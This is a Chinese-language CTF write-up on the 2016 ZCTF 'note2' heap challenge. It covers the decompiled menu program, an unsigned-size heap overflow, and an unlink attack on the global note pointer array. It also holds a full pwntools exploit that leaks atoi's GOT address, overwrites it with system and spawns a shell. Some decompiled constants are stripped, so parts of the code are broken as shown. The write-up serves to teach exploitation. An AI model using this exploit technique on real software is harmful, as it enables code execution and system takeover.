简介

Unlink是经典的堆漏洞,刚看到这个漏洞不知道如何实现任意代码执行,所以找了一个CTF题,发现还有一些细节的地方没有讲的很清楚,题目在这里。自己也动手写一遍,体验一下

题目描述

首先,我们先分析一下程序,在checksec中检查文件,发现是64位程序,然后放入IDA中,f5,,得出主程序是这样:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, , 0LL);
setvbuf(stdout, 0LL, , 0LL);
setvbuf(stderr, 0LL, , 0LL);
alarm(0x3Cu);
puts("Input your name:");
ReadStr((char *)&name, 64LL, );
puts("Input your address:");
ReadStr((char *)&address, 96LL, );
while ( )
{
switch ( selectchoice() )
{
case :
NewNote();
break;
case :
ShowNote();
break;
case :
EditNote();
break;
case :
DeleteNote();
break;
case :
puts("Bye~");
exit();
return;
case :
exit();
return;
default:
continue;
}
}
}

主程序

主程序是一个while循环,在selectchoice中输出一个菜单,然后读取一个输入判断

int selectchoice()
{
puts("1.New note\n2.Show note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
return inputNum();
}

selectchoice

int inputNum()
{
char nptr; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u);
ReadStr(&nptr, 16LL, );
return atoi(&nptr);
}

inputNum

下面是4个主要功能,添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。

int NewNote()
{
char *note; // ST08_8
unsigned int v2; // eax
unsigned int size; // [rsp+4h] [rbp-Ch] if ( (unsigned int)NoteNum > )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = inputNum();
if ( size > )
return puts("Too long");
note = (char *)malloc(size);
puts("Input the note content:");
ReadStr(note, size, '\n');
RemovePercent(note);
ptr[NoteNum] = (__int64)note;
Len[NoteNum] = size;
v2 = NoteNum++;
return printf("note add success, the id is %d\n", v2);
}

NewNote

溢出点代码

unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h] v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(, &buf, 1uLL);
if ( v7 <= )
exit(-);
if ( buf == v4 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = ;
return i;
}

展示 note 内容。

int ShowNote()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h] puts("Input the id of the note:");
LODWORD(v0) = inputNum();
v2 = v0;
if ( (signed int)v0 >= && (signed int)v0 <= )
{
v0 = ptr[(signed int)v0];
if ( v0 )
LODWORD(v0) = printf("Content is %s\n", ptr[v2]);
}
return v0;
}

ShowNote

编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。

unsigned __int64 EditNote()
{
char *v0; // rax
char *v1; // rbx
int v3; // [rsp+8h] [rbp-E8h]
int v4; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v6; // [rsp+18h] [rbp-D8h]
char dest; // [rsp+20h] [rbp-D0h]
char *v8; // [rsp+A0h] [rbp-50h]
unsigned __int64 v9; // [rsp+D8h] [rbp-18h] v9 = __readfsqword(0x28u);
if ( NoteNum )
{
puts("Input the id of the note:");
v3 = inputNum();
if ( v3 >= && v3 <= )
{
src = (char *)ptr[v3];
v6 = Len[v3];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v4 = inputNum();
if ( v4 == || v4 == )
{
if ( v4 == )
dest = ;
else
strcpy(&dest, src);
v0 = (char *)malloc(0xA0uLL);
v8 = v0;
*(_QWORD *)v0 = 'oCweNehT';
*((_QWORD *)v0 + ) = ':stnetn';
printf(v8);
ReadStr(v8 + , 144LL, );
RemovePercent(v8 + );
v1 = v8;
v1[v6 - strlen(&dest) + ] = ;
strncat(&dest, v8 + , 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, &dest);
free(v8);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
return __readfsqword(0x28u) ^ v9;
}

EditNote

释放 note。

int DeleteNote()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h] puts("Input the id of the note:");
LODWORD(v0) = inputNum();
v2 = v0;
if ( (signed int)v0 >= && (signed int)v0 <= )
{
v0 = ptr[(signed int)v0];
if ( v0 )
{
free((void *)ptr[v2]);
ptr[v2] = 0LL;
Len[v2] = 0LL;
LODWORD(v0) = puts("delete note success!");
}
}
return v0;
}

DeleteNote

题目解答

仔细分析后,可以发现程序有以下几个问题

  1. 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,执行size-1>i时,如果size=0,则会永远成立。所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
  2. 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
  3. 在上述程序中有一个全局变量ptr,用来记录每次分配的内存地址,在.bss段中,地址为0x0000000000602120。

其中这三个 chunk 申请时的大小分别为 0x80,0,0x80,chunk1 虽然申请的大小为 0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该 note 输入任意长的字符串。

这里需要注意的是,chunk0 中一共构造了两个 chunk

  • chunk ptr[0],这个是为了 unlink 时修改对应的值。
  • chunk ptr[0]'s nextchunk,这个是为了使得 unlink 时的第一个检查满足。

利用代码:

# coding=UTF-8
from pwn import * p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug' def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content) def shownote(id):
p.recvuntil('option--->>')
p.sendline('')
p.recvuntil('note:')
p.sendline(str(id)) def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s) def deletenote(id):
p.recvuntil('option--->>')
p.sendline('')
p.recvuntil('note:')
p.sendline(str(id)) p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello') # chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16) # edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18 gdb.attach(p)
p.interactive() deletenote(2) # overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0) p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr) # get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest print 'leak system addr: ', hex(system_addr) # overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content) # get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()

利用代码

代码中首先分配了三个note,当构造完三个 note 后,堆的基本构造如图 1 所示。

                                   +-----------------+ high addr
| ... |
+-----------------+
| 'b'*8 |
ptr[2]-----------> +-----------------+
| size=0x91 |
+-----------------+
| prevsize |
+-----------------|------------
| unused |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
+-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图1

释放 chunk1 - 覆盖 chunk2 - 释放 chunk2

对应的代码如下

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)

首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2,覆盖之后如图 2 所示。

+-----------------+high addr
| ... |
+-----------------+
| '\x00'+'b'*7 |
ptr[2]-----------> +-----------------+ chunk 2
coverValue1 | size=0x90 |
+-----------------+
coverValue2 | 0xa0 |
+-----------------|------------
| 'a'*8 |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
fake chunk---> +-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图2 和图1相比,经历了chuck1的分配和释放,造成了两个值的变更,就是图2中的coverValue1和coverValue12,coverValue1导致chunk2的前一个虚拟地址空间连续块由以及分配变为空闲,所以在释放chunk2的时候,会造成合并。
而合并操作进行时,会根据coverValue2来确定前一个块的大小,coverValue2使前一个块变为伪造的chunk,就是图2中fake chunk处,fakefd和fakebk则是伪造的,必须保证unlink的检测条件,fakefd = ptr - 0x18,fakebk = ptr - 0x10
图2中的fake ptr[0] chunk's nextchunk是根据fake chunk的size来确定的,也就是0x60,第二个条件要绕过去就需要构造第二个chunk,在fake chunk位置0x60之后的位置放置一个pre_size为0x60的chunk
在unlink之后,ptr被修改为ptr-0x18,注意,ptr的值就是在查看源码时发现的,存放第一个note的位置,在向note写入3个字节后,ptr的值又会被覆盖一次,所以可以使用一个像note的写入操作达到控制ptr为任意值。然后利用note的写操作更改GOT
在选择覆盖函数的GOT时,选择atoi,因为在switch语句之前会读入一个选择,用到atoi函数,并且程序没有用到system函数,所以必须计算两个函数的偏移才能得出system的libc库位置,最后覆盖也选用这个函数

Unlink——2016 ZCTF note2解析的更多相关文章

  1. 2016 ZCTF note3:一种新解法

    2016 ZCTF note3:一种新解法 最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以 ...

  2. Redis(四):del/unlink 命令源码解析

    上一篇文章从根本上理解了set/get的处理过程,相当于理解了 增.改.查的过程,现在就差一个删了.本篇我们来看一下删除过程. 对于客户端来说,删除操作无需区分何种数据类型,只管进行 del 操作即可 ...

  3. POI使用:解析xls/xlsx文件(兼容office2003/2007/2010版本)

    package cn.eguid; import java.io.Closeable; import java.io.File; import java.io.FileInputStream; imp ...

  4. 日常问题181101: ueditor文本编辑器

    下载地址: https://ueditor.baidu.com/website/download.html#ueditor 把下载好的文件整个复制到根目录(或是,想要存放的目录) 引入css: < ...

  5. 【Semantic segmentation Overview】一文概览主要语义分割网络(转)

    文章来源:https://www.tinymind.cn/articles/410 本文来自 CSDN 网站,译者蓝三金 图像的语义分割是将输入图像中的每个像素分配一个语义类别,以得到像素化的密集分类 ...

  6. 深度学习与CV教程(14) | 图像分割 (FCN,SegNet,U-Net,PSPNet,DeepLab,RefineNet)

    作者:韩信子@ShowMeAI 教程地址:http://www.showmeai.tech/tutorials/37 本文地址:http://www.showmeai.tech/article-det ...

  7. 2016 - 1- 23 iOS中xml解析 (!!!!!!!有坑要解决!!!!!!)

    一: iOS中xml解析的几种方式简介 1.官方原生 NSXMLParser :SAX方式解析,使用起来比较简单 2.第三方框架 libxml2 :纯C 同时支持DOM与SAX GDataXML: D ...

  8. zctf 2016 android writeup - Jieming的博客

    本文为2016年zctf中android的writeup. 首先点我下载题目.使用jeb反编译,对username和password进行部分验证后,再将username+password及一个数据库查 ...

  9. 2016 - 1 - 23 xml解析 -- 语法简介

    一: XML的概念 1. 一种可拓展标记语言 2. 与json一样,也是一种常用的数据交互格式 3. 一般也叫XML文档---XML Document 二: XML语法   1.一个完整的XML文档一 ...

随机推荐

  1. 使用jq 仿 swper 图片左右滚动

    <div> <div /</div> <div class="box"> <div class="box-ul" ...

  2. pta-树种统计

    树种统计 (25 分) 随着卫星成像技术的应用,自然资源研究机构可以识别每一棵树的种类.请编写程序帮助研究人员统计每种树的数量,计算每种树占总数的百分比. 输入格式: 输入首先给出正整数N(≤10​5 ...

  3. angular.lowercase()

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  4. LeetCode 15 3Sum [sort] <c++>

    LeetCode 15 3Sum [sort] <c++> 给出一个一维数组,找出其中所有和为零的三元组(元素集相同的视作同一个三元组)的集合. C++ 先自己写了一发,虽然过了,但跑了3 ...

  5. js 事件模型详解

    把js的事件模型,分为两类,DOM0级和DOM2级, DOM0级 通常直接在DOM对象上绑定函数对象,指定事件类型,dom.onClick = function(){};类似于这种写法,移除事件,则直 ...

  6. zepto.js-定制zepto步骤

    对以上步骤作简单补充 步骤四:在电脑左下角搜索Node.js command prompt 打开这个命令窗口,然后进入zepto-master 即文件存放的位置.也可以直接用cmd进入zepto-ma ...

  7. django 利用pillow 进行简单的设置验证码(python)

    1.导入模块 并定义一个验证状态 from PIL import Image, ImageDraw, ImageFont from django.utils.six import BytesIO de ...

  8. 关于分布式环境下的id生成

    public class IdWorker { //基准时间 public const long Twepoch = 1288834974657L; //机器标识位数 ; //数据标志位数 ; //序 ...

  9. [python] PyMouse、PyKeyboard用python操作鼠标和键盘

      1.PyUserInput 简介 PyUserInput是一个使用python的跨平台的操作鼠标和键盘的模块,非常方便使用.支持的平台及依赖如下: Linux - Xlib Mac - Quart ...

  10. OSGi类加载流程

    思路 OSGi每个模块都有自己独立的classpath.如何实现这一点呢?是因为OSGi采取了不同的类加载机制: OSGi为每个bundle提供一个类加载器,该加载器能够看到bundle Jar文件内 ...